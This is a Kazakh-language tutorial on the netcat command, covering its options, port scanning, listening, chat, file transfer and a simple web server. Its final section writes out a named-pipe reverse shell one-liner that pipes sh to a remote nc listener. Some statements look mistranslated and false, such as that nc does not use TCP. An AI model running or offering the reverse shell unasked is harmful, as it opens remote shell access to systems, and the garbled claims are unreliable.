netcat
пәрмені TCP және UDP хаттамалары арқылы деректерді беру және қабылдау үшін қажет. Ол функциялардың үлкен жиынтығына ие емес, бірақ қосылымды тексеру және қарапайым жөндеу үшін жеткілікті. TCP протоколы арқылы қалай байланысуға болады? Бұл сұрақты көптеген пайдаланушылар сұрайды. Бұл мақалада біз бұл сұраққа жауап береміз, сонымен қатар команданы нақты өмірде қолдану мысалдарын көрсетеміз.
netcat
(немесе nc
) командасы желілік қосылымдармен жұмыс істеуге арналған қуатты құрал болып табылады. Оны жүйелік әкімшілер мен әзірлеушілер әртүрлі тапсырмалар үшін жиі пайдаланады. Мұнда netcat
негізгі мүмкіндіктері мен мүмкіндіктері берілген:
netcat
– қарапайым хабар алмасудан бастап күрделі желілік операцияларға дейін әртүрлі сценарийлерде қолдануға болатын әмбебап құрал.
Алдымен синтаксисті және ең танымалдарын қарастырайық:
-6
– IPv6 протоколын пайдаланыңыз. Әдепкі сәйкесінше -4 және IPv4;-h
– қолжетімді параметрлер тізімі бар анықтаманы көрсету;-i
- кешіктіру – жіберу желілері немесе сканерлеу порттары арасындағы кідіріс қосыңыз. секундтарда орнату;-l
– тыңдау режимі. Портты көрсету үшін қолданылады;-N
– файлды жіберу кезінде оның соңына жеткенде байланысты жабу;-n
– IP мекенжайларымен тікелей DNS қолданбай жұмыс істеу, сонымен қатар порт іздеуді өшіру;-P
- user_name – проксиге қосылу үшін пайдаланушы атын көрсетіңіз;-x
- адрес:порт – проксиге қосылу үшін мекенжай мен портты көрсетіңіз;-p
- порт – порт нөмірін көрсетіңіз. Көп жағдайда порт параметрді көрсетпей оқылады;-U
– UNIX домен ұясын пайдалану (процессаралық байланыс үшін);-u
– UDP протоколын қолдану, TCP әдепкі бойынша пайдаланылады;-v
– егжей-тегжейлі режим. Сканерлеу кезінде қолданылады;-W
пакеттердің_саны – пакеттердің белгілі бір санын алғаннан кейін қосылымды жабу;-w
таймер – қосылым уақытын шектеу үшін таймерді қосыңыз. секундтарда орнату;-z
– деректерді жіберуді өшіру. Сканерлеу кезінде қолданылады.Пәрмен келесідей көрінеді (параметрлер мекенжай порты):
$ nc
Әрі қарай пәрменді қалай пайдалану керектігі туралы айтатын боламыз.
Тексеру - бұл netcat
негізгі қолдануы. Екі параметрді пайдалану керек -vz
, мекенжай мен портты көрсетіңіз. Мекенжайлар ауқымын көрсетуге болады, бірақ бұл жағдайда пәрменді пайдаланып тек ашық порттарды сүзгіден өткізген дұрыс grep
. Жергілікті желі мекенжайының порттарын тексерейік:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
-u
параметрін қоса отырып, UDP порттарын дәл осылай сканерлеп көрейік:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
Бұл жағдайда TCP мен UDP арасындағы негізгі айырмашылықты білу қажет. Сондықтан UDP порттары әрқашан қол жетімді.
-l
параметрі портты тыңдау үшін пайдаланылады. Бұл жиі жеткілікті, бірақ егжей-тегжейлі режимді қосуға болады:
$ nc -nlv 8080
Есіңізде болсын, TCP протоколын пайдаланған кезде порт бос болуы керек, әйтпесе Alread in use қатесі пайда болады. Дегенмен, барлық порттарды қарапайым пайдаланушылар пайдалана алмайды, мысалы, 80 порты (HTTP), оны басқа процесс басып алуы мүмкін, сонымен қатар суперпайдаланушы құқықтарын талап етеді.
Топтың пайдалы мүмкіндігі - деректер алмасу. Қарапайым мысал - мәтіндік чат. Бір компьютерде сөйлесуді бастау үшін қызметтік бағдарламаны портты тыңдау режимінде іске қосыңыз:
$ nc -lp 8080
Басқа компьютерде бірінші компьютердің мекенжайын және сол портты көрсету керек. Мұны да тексеруді ұмытпаңыз порт ашық:
$ nc 0.0.0.0 8080
Осылайша сіз хабарламаларды жібере аласыз және қабылдай аласыз. Яғни, команда файлдармен алмасуға арналған. Принцип бірдей, тек шығысты файлға қайта бағыттау қажет, атап айтқанда paste.txt
:
$ nc -l 8080 > paste.txt
Басқа компьютерде кіріс copy.txt
файлы болады. Файлды тасымалдағаннан кейін қосылымды жабу үшін -N
параметрін пайдалану жақсы идея болар еді:
$ nc -N 0.0.0.0 8080 < copy.txt
Файлдарды тасымалдау үшін алдымен тыңдауды ашып, содан кейін ғана файлды жіберу ретін сақтау маңызды. nc пәрмені жұмыс істейді, бірақ файлдарды тасымалдаудың ең жақсы тәсілінен алыс. Бұл мәселені шешу үшін тиімдірек және пайдалы құралдар бар.
NC командасы TCP протоколында жұмыс істемейтіндіктен, ол HTTP сұрауларын жіберуге де, алуға да мүмкіндік береді. Сондықтан қызметтік бағдарлама қарапайым веб-серверге айналуы мүмкін. Иә, осылайша стендтік парақтан гөрі айлакер ештеңе жасауға болмайды, бірақ операция дерлік уақытты қажет етпейді, тағы бір артықшылығы - қосымша ештеңе орнатудың қажеті жоқ.
Мысалды пайдалана отырып, index.html
файлымен HTTP жауабын жасаймыз. Егер біз np-тің өзі туралы айтатын болсақ, онда браузер істемейтін болса, қосылымды үзу үшін -w 1
параметрі бар таймерді орнату жақсы идея болар еді:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Веб-сайттан деректерді алу үшін сұрауды құрастырып, оны кеңес беруші мекенжай мен портқа жіберуге болады. Бірақ бұл әдіс өте күрделі, сәйкес CURL командасын қолданған дұрыс.
Жоғарыда қарастырылған мысалдарға сүйене отырып, команда компьютер қабығына қашықтан қол жеткізуді ұйымдастыруға мүмкіндік береді деген қорытындыға келу мүмкін емес еді. Бұрын NC утилитасында терминалға кіруді ашудың бірнеше нұсқасы болған. -e
параметрі утилитадан әлдеқашан жойылған, сондықтан терминалға енді оңай қол жеткізу болмайды. Қолданбаның қауіпсіздігі жоғарылады, бірақ ол басқалармен бірге жұмыс істей алады.
mkfifo деп аталатын құбыр арқылы қосылымды көрсетейік. Ең алдымен, біз кіруге болатын компьютердегі портты тыңдауды бастайық:
$ nc -lvnp 8080
Терминалды ашу пәрменіне тікелей көшейік. Алдымен, ескі атаулы құбырды ( rm /tmp/f
) жойайық, оның орнына жаңасын жасаңыз ( mkfifo /tmp/f
), оның мазмұнын оқып шығыңыз ( cat /tmp/f
) және оның шығысына қабық командасын жіберейік. ( sh -i 2>&1
). Осыдан кейін, біздің аталған құбырға ( nc 0.0.0.0 8080 >/tmp/f
) шығысымен nc іске қосу ғана қалады:
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Есіңізде болсын, бұл бұзу әдістерінің бірі, бірақ ол ssh
ақаулары болған жағдайда пайдалы болуы мүмкін. Шабуылдың алдын алу үшін қауіпсіздік саясаты мен брандмауэрді конфигурациялаңыз.